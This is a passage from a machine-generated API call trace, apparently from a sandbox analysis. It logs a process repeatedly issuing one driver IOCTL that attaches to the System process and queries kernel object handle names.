0x1ec05e0 [0063.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.543] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.543] PsAcquireProcessExitSynchronization () returned 0x0 [0063.543] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.543] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a472d0, HandleInformation=0x0) returned 0x0 [0063.543] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.543] PsReleaseProcessExitSynchronization () returned 0x2 [0063.543] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.543] ObQueryNameString (in: Object=0xfffffa8001a472d0, ObjectNameInfo=0xfffffa80038fc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.543] ObfDereferenceObject (Object=0xfffffa8001a472d0) returned 0x2 [0063.543] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.543] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.543] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.543] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.543] PsAcquireProcessExitSynchronization () returned 0x0 [0063.543] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.543] ObReferenceObjectByHandle (in: Handle=0xffffffff800005b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002501a00, HandleInformation=0x0) returned 0x0 [0063.543] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.543] PsReleaseProcessExitSynchronization () returned 0x2 [0063.543] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.543] ObQueryNameString (in: Object=0xfffffa8002501a00, ObjectNameInfo=0xfffffa80038fd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.543] ObfDereferenceObject (Object=0xfffffa8002501a00) returned 0x2 [0063.543] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.543] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.543] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.543] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.543] PsAcquireProcessExitSynchronization () returned 0x0 [0063.543] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.543] ObReferenceObjectByHandle (in: Handle=0xffffffff800005bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002191330, HandleInformation=0x0) returned 0x0 [0063.544] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.544] PsReleaseProcessExitSynchronization () returned 0x2 [0063.544] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.544] ObQueryNameString (in: Object=0xfffffa8002191330, ObjectNameInfo=0xfffffa80038fe044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fe044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.544] ObfDereferenceObject (Object=0xfffffa8002191330) returned 0x2 [0063.544] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.544] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.544] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.544] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.544] PsAcquireProcessExitSynchronization () returned 0x0 [0063.544] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.544] ObReferenceObjectByHandle (in: Handle=0xffffffff800005c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fa7830, HandleInformation=0x0) returned 0x0 [0063.544] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.544] PsReleaseProcessExitSynchronization () returned 0x2 [0063.544] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.544] ObQueryNameString (in: Object=0xfffffa8001fa7830, ObjectNameInfo=0xfffffa80038ff044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ff044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.544] ObfDereferenceObject (Object=0xfffffa8001fa7830) returned 0x2 [0063.544] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.544] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.544] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.544] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.544] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.544] PsAcquireProcessExitSynchronization () returned 0x0 [0063.544] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.544] ObReferenceObjectByHandle (in: Handle=0xffffffff800005c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80022d26b0, HandleInformation=0x0) returned 0x0 [0063.544] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.544] PsReleaseProcessExitSynchronization () returned 0x2 [0063.544] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.544] ObQueryNameString (in: Object=0xfffffa80022d26b0, ObjectNameInfo=0xfffffa800390c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.544] ObfDereferenceObject (Object=0xfffffa80022d26b0) returned 0x2 [0063.544] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.544] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.544] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.545] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.545] PsAcquireProcessExitSynchronization () returned 0x0 [0063.545] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.545] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80022efa40, HandleInformation=0x0) returned 0x0 [0063.545] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.545] PsReleaseProcessExitSynchronization () returned 0x2 [0063.545] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.545] ObQueryNameString (in: Object=0xfffffa80022efa40, ObjectNameInfo=0xfffffa800390d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800390d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.545] ObfDereferenceObject (Object=0xfffffa80022efa40) returned 0x2 [0063.545] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.545] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.545] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0063.545] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.545] PsAcquireProcessExitSynchronization () returned 0x0 [0063.545] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.545] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020863b0, HandleInformation=0x0) returned 0x0 [0063.545] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.545] PsReleaseProcessExitSynchronization () returned 0x2 [0063.545] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.545] ObQueryNameString (in: Object=0xfffffa80020863b0, ObjectNameInfo=0xfffffa80038ef044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ef044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.545] ObfDereferenceObject (Object=0xfffffa80020863b0) returned 0x2 [0063.545] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.545] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.545] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.545] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.545] PsAcquireProcessExitSynchronization () returned 0x0 [0063.545] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.546] ObReferenceObjectByHandle (in: Handle=0xffffffff800005e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800226b9a0, HandleInformation=0x0) returned 0x0 [0063.546] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.546] PsReleaseProcessExitSynchronization () returned 0x2 [0063.546] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.546] ObQueryNameString (in: Object=0xfffffa800226b9a0, ObjectNameInfo=0xfffffa80038bd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038bd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.546] ObfDereferenceObject (Object=0xfffffa800226b9a0) returned 0x2 [0063.546] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.546] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.546] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.546] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.546] PsAcquireProcessExitSynchronization () returned 0x0 [0063.546] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.546] ObReferenceObjectByHandle (in: Handle=0xffffffff800005ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002066df0, HandleInformation=0x0) returned 0x0 [0063.546] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.546] PsReleaseProcessExitSynchronization () returned 0x2 [0063.546] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.546] ObQueryNameString (in: Object=0xfffffa8002066df0, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.546] ObfDereferenceObject (Object=0xfffffa8002066df0) returned 0x2 [0063.546] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.546] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.546] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.546] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.546] PsAcquireProcessExitSynchronization () returned 0x0 [0063.546] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.546] ObReferenceObjectByHandle (in: Handle=0xffffffff80000600, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002120e50, HandleInformation=0x0) returned 0x0 [0063.546] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.546] PsReleaseProcessExitSynchronization () returned 0x2 [0063.546] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.546] ObQueryNameString (in: Object=0xfffffa8002120e50, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.546] ObfDereferenceObject (Object=0xfffffa8002120e50) returned 0x2 [0063.546] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.547] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.547] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.547] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.547] PsAcquireProcessExitSynchronization () returned 0x0 [0063.547] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.547] ObReferenceObjectByHandle (in: Handle=0xffffffff80000604, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002508a20, HandleInformation=0x0) returned 0x0 [0063.547] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.547] PsReleaseProcessExitSynchronization () returned 0x2 [0063.547] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.547] ObQueryNameString (in: Object=0xfffffa8002508a20, ObjectNameInfo=0xfffffa80038e0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.547] ObfDereferenceObject (Object=0xfffffa8002508a20) returned 0x2 [0063.547] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.547] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.547] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.547] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.547] PsAcquireProcessExitSynchronization () returned 0x0 [0063.547] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.547] ObReferenceObjectByHandle (in: Handle=0xffffffff80000608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019d8e50, HandleInformation=0x0) returned 0x0 [0063.547] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.547] PsReleaseProcessExitSynchronization () returned 0x2 [0063.547] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.547] ObQueryNameString (in: Object=0xfffffa80019d8e50, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.547] ObfDereferenceObject (Object=0xfffffa80019d8e50) returned 0x2 [0063.547] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.547] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.547] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0063.547] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.547] PsAcquireProcessExitSynchronization () returned 0x0 [0063.547] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.547] ObReferenceObjectByHandle (in: Handle=0xffffffff80000610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800d41cd20, HandleInformation=0x0) returned 0x0 [0063.547] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.548] PsReleaseProcessExitSynchronization () returned 0x2 [0063.548] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.548] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.548] ObfDereferenceObject (Object=0xfffffa800d41cd20) returned 0x12 [0063.548] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.548] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.548] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.548] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.548] PsAcquireProcessExitSynchronization () returned 0x0 [0063.548] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.548] ObReferenceObjectByHandle (in: Handle=0xffffffff8000061c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024f8f20, HandleInformation=0x0) returned 0x0 [0063.548] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.548] PsReleaseProcessExitSynchronization () returned 0x2 [0063.548] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.548] ObQueryNameString (in: Object=0xfffffa80024f8f20, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.548] ObfDereferenceObject (Object=0xfffffa80024f8f20) returned 0x2 [0063.548] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.548] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.548] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.548] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.548] PsAcquireProcessExitSynchronization () returned 0x0 [0063.548] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.548] ObReferenceObjectByHandle (in: Handle=0xffffffff80000620, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002277340, HandleInformation=0x0) returned 0x0 [0063.548] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.548] PsReleaseProcessExitSynchronization () returned 0x2 [0063.548] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.548] ObQueryNameString (in: Object=0xfffffa8002277340, ObjectNameInfo=0xfffffa80038da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.548] ObfDereferenceObject (Object=0xfffffa8002277340) returned 0x2 [0063.548] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.548] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.548] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.549] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) 